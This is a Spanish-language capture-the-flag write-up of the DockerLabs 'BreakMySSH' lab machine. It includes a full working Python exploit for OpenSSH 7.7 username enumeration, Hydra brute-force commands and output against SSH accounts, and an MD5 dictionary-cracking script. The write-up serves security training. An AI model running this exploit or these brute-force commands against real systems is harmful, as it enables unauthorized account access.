> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/breakmyssh.md).

# BreakMySSH

<details>

<summary>Datos</summary>

* **Máquina** -> BreakMySHH
* **Dificultad** -> Muy Fácil
* **Creador** -> [El Pingüino de Mario](https://www.youtube.com/channel/UCGLfzfKRUsV6BzkrF1kJGsg)

</details>

Verificamos que la maquina este activa:

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.105 ms
RR: 	172.17.0.1
		172.17.0.2
		172.17.0.2
		172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.105/0.105/0.105/0.000 ms
```

Como podemos ver, el servidor nos responde y su TTL es de 64 posiblemente Linux, procedemos a crear nuestras carpetas de trabajo con `mkt` y entramos en recognition.

```javascript
❯ PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt

[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 22 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [22]
[+] Información de servicios y versiones:

  [+] 22/tcp    ssh       OpenSSH 7.7 (protocol 2.0)

[+] Comprobando vulnerabilidades:

  [!] SSH posiblemente vulnerable: Enumeración de usuarios 

[*] Evidencia guardada en recognition.txt
```

Al parecer la maquina victima tiene una versión vulnerable de OpenSSH que nos permite enumerar usuarios validos, procedemos con la enumeración.

```javascript
❯ EnumUserSSH -w /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt 172.17.0.2
[+] mail usuario valido!                       
[+] root usuario valido!                         
[+] news usuario valido!                        
[+] man usuario valido!                          
[+] bin usuario valido!                         
[+] games usuario valido!                          
[+] nobody usuario valido!                           
[+] lovely usuario valido! 
```

El código que utilice es el siguiente:

{% code lineNumbers="true" %}

```python
#!/usr/bin/env python3

import argparse, logging, paramiko, socket, sys, os

class InvalidUsername(Exception):
	pass

# malicious function to malform packet
def add_boolean(*args, **kwargs):
	pass

# function that'll be overwritten to malform the packet
old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[
		paramiko.common.MSG_SERVICE_ACCEPT]

# malicious function to overwrite MSG_SERVICE_ACCEPT handler
def service_accept(*args, **kwargs):
	old_add_boolean = paramiko.message.Message.add_boolean
	paramiko.message.Message.add_boolean = add_boolean
	result = old_service_accept(*args, **kwargs)
	paramiko.message.Message.add_boolean = old_add_boolean
	return result

# call when username was invalid 
def invalid_username(*args, **kwargs):
	raise InvalidUsername()

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = service_accept
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = invalid_username

# Print valid users found out so far
def print_result(valid_users):
	if(valid_users):
		print("Valid Users: ")
		for user in valid_users:
			print(user)
	else:
		print("No valid user detected.")

# perform authentication with malicious packet and username
def check_user(username):
	try:
		sock = socket.socket()
		sock.connect((args.target, int(args.port)))
		transport = paramiko.transport.Transport(sock)
		transport.start_client(timeout=0.5)

	except paramiko.ssh_exception.SSHException:
		print('[!] Failed to negotiate SSH transport')
		sys.exit(2)

	try:
		transport.auth_publickey(username, paramiko.RSAKey.generate(2048))
	except paramiko.ssh_exception.AuthenticationException:
		print("[+] {} usuario valido!                        ".format(username))
		return True
	except:
		print("[!] probando usuario {}                       ".format(username), end="\r")
		return False

def check_userlist(wordlist_path):
	if os.path.isfile(wordlist_path):
		valid_users = []
		with open(wordlist_path) as f:
			for line in f:
				username = line.rstrip()
				try:
					if(check_user(username)):
						valid_users.append(username)
				except KeyboardInterrupt:
					print("Enumeration aborted by user!")
					break;

		print_result(valid_users)
	else:
		print("[-] {} is an invalid wordlist file".format(wordlist_path))
		sys.exit(2)

# remove paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

parser = argparse.ArgumentParser(description='SSH User Enumeration by Leap Security (@LeapSecurity)')
parser.add_argument('target', help="IP address of the target system")
parser.add_argument('-p', '--port', default=22, help="Set port of SSH service")
parser.add_argument('-u', '--user', dest='username',  help="Username to check for validity.")
parser.add_argument('-w', '--wordlist', dest='wordlist', help="username wordlist")

if len(sys.argv) == 1:
	parser.print_help()
	sys.exit(1)

args = parser.parse_args()

if args.wordlist:
	check_userlist(args.wordlist)
elif args.username:
	check_user(args.username)
else:
	print("[-] Username or wordlist must be specified!\n")
	parser.print_help()
	sys.exit(1)

```

{% endcode %}

Este código funciona con las versiones **paramiko 2.11.0**, puede instalar esta versión usando pip, es recomendable usar un entorno **env** de Python para evitar conflictos.

```bash
pip install paramiko==2.11.0
```

En cuanto a los resultados nos llama la atención el usuario **lovely**, intentaremos con **Hydra** hacer fuerza bruta a su contraseña.

```bash
❯ hydra -l lovely -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -f -V -t 4
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 01:50:14
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "iloveyou" - 5 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "princess" - 6 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "1234567" - 7 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "rockyou" - 8 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "lovely" - pass "12345678" - 9 of 14344399 [child 0] (0/0)
[22][ssh] host: 172.17.0.2   login: lovely   password: rockyou
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 01:50:16
```

Al parecer la contraseña de **lovely** es **rockyou**, procedemos a guardar estas credenciales en un archivo y nos logemos por ssh.

```bash
❯ ssh lovely@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
lovely@172.17.0.2's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
lovely@27b70f053e46:~$ whoami
lovely
lovely@27b70f053e46:~$ 
```

Después de indagar un rato encuentro un hash oculto dentro de la carpeta /opt, lo podemos encontrar de 2 maneras una ejecutando el comando find de la siguiente manera:

```bash
lovely@27b70f053e46:/opt$ find / -name "*hash*" -type f 2>/dev/null              /opt/.hash
/proc/sys/net/core/txrehash
/proc/sys/net/ipv4/fib_multipath_hash_fields
/proc/sys/net/ipv4/fib_multipath_hash_policy
/proc/sys/net/ipv4/tcp_child_ehash_entries
/proc/sys/net/ipv4/tcp_ehash_entries
/proc/sys/net/ipv4/tcp_plb_idle_rehash_rounds
/proc/sys/net/ipv4/tcp_plb_rehash_rounds
/proc/sys/net/ipv4/udp_child_hash_entries
/proc/sys/net/ipv4/udp_hash_entries
/proc/sys/net/ipv6/fib_multipath_hash_fields
/proc/sys/net/ipv6/fib_multipath_hash_policy
/sys/kernel/btf/algif_hash
/sys/kernel/btf/ghash_clmulni_intel
/sys/module/nf_conntrack/parameters/expect_hashsize
/sys/module/nf_conntrack/parameters/hashsize
/sys/module/apparmor/parameters/hash_policy
/sys/module/ima/parameters/ahash_minsize
/sys/module/ima/parameters/ahash_bufsize
/sys/module/kvm/parameters/vector_hashing
```

O podríamos buscar en las carpetas raíz hasta encontrar algo, copiamos el contenido de `.hash` y se lo pasamos a hashid.

```bash
❯ hashid 'aa87ddc5b4c24406d26ddad771ef44b0'
Analyzing 'aa87ddc5b4c24406d26ddad771ef44b0'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 
```

Dice que puede ser un **MD2, MD5 o MD4** verificaremos con **MD5** primero, cabe resaltar que la intrusión de esta maquina tambien se puede hacer de otra forma, en la cual haciendo fuerza bruta al usuario root con Hydra, obtendríamos la contraseña.

<mark style="color:yellow;">**Usando Hydra contra el usuario root**</mark>

```bash
❯ hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4 -V -f
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 02:12:10
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l:1/p:14344399), ~3586100 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "root" - pass "123456" - 1 of 14344399 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "12345" - 2 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "123456789" - 3 of 14344399 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "password" - 4 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "iloveyou" - 5 of 14344399 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "alexis" - 102 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "jesus" - 103 of 14344399 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "root" - pass "estrella" - 104 of 14344399 [child 3] (0/0)
[22][ssh] host: 172.17.0.2   login: root   password: estrella
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 02:14:20
```

<mark style="color:yellow;">**Usando un script para descifrar el hash**</mark>

Por ejemplo, podemos crear un script como el siguiente (Es mejorable):

{% code lineNumbers="true" %}

```python
#!/usr/bin/env python3

import hashlib, signal, sys

def handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

# Ctrl + C
signal.signal(signal.SIGINT, handler)

banner = r'''

 __  __ ____  ____     ____                _    _             
|  \/  |  _ \| ___|   / ___|_ __ __ _  ___| | _(_)_ __   __ _ 
| |\/| | | | |___ \  | |   | '__/ _` |/ __| |/ / | '_ \ / _` |
| |  | | |_| |___) | | |___| | | (_| | (__|   <| | | | | (_| |
|_|  |_|____/|____/___\____|_|  \__,_|\___|_|\_\_|_| |_|\__, |
                 |_____|                                |___/
                                                   Anonymous17
'''
print(banner)

encontrado = 0
input_hash = input("\n [*] Inserte la contraseña hasheada: ")
pass_doc = input(" [*] Inserte el diccionario: ")

try:
    pass_file = open(pass_doc, 'r', encoding="utf-8", errors="ignore")
except FileNotFoundError:
    print(f"  [!] Error: {pass_doc} no ha sido encontrado")
    sys.exit(1)

for palabra in pass_file:
    palabra = palabra.strip()  # Elimina espacios y saltos de línea
    palabra_cifrada = palabra.encode('utf-8')
    palabra_hasheada = hashlib.md5(palabra_cifrada)  # No necesitas `.strip()` aquí
    digest = palabra_hasheada.hexdigest()

    if digest == input_hash:
        print(" [+] Contraseña encontrada!!!")
        print(f" [+] La contraseña es: {palabra}\n")
        encontrado = 1
        break

pass_file.close()

if not encontrado:
    print(" [!] Contraseña no encontrada en el diccionario...")

```

{% endcode %}

Su funcionamiento seri así:

```bash
❯ python PassCracker.py
 __  __ ____  ____     ____                _    _             
|  \/  |  _ \| ___|   / ___|_ __ __ _  ___| | _(_)_ __   __ _ 
| |\/| | | | |___ \  | |   | '__/ _` |/ __| |/ / | '_ \ / _` |
| |  | | |_| |___) | | |___| | | (_| | (__|   <| | | | | (_| |
|_|  |_|____/|____/___\____|_|  \__,_|\___|_|\_\_|_| |_|\__, |
                 |_____|                                |___/
                                                   Anonymous17

 [*] Inserte la contraña hasheada: aa87ddc5b4c24406d26ddad771ef44b0
 [*] Inserte el diccionario: /usr/share/wordlists/rockyou.txt
 [+] Contraseña encontrada!!!
 [+] La contraseña es: estrella
```

Y por ultimo nos volvemos root para confirmar y terminar esta maquina.

```bash
lovely@27b70f053e46:~$ su root  
Password: 
root@27b70f053e46:/home/lovely# whoami
root
```
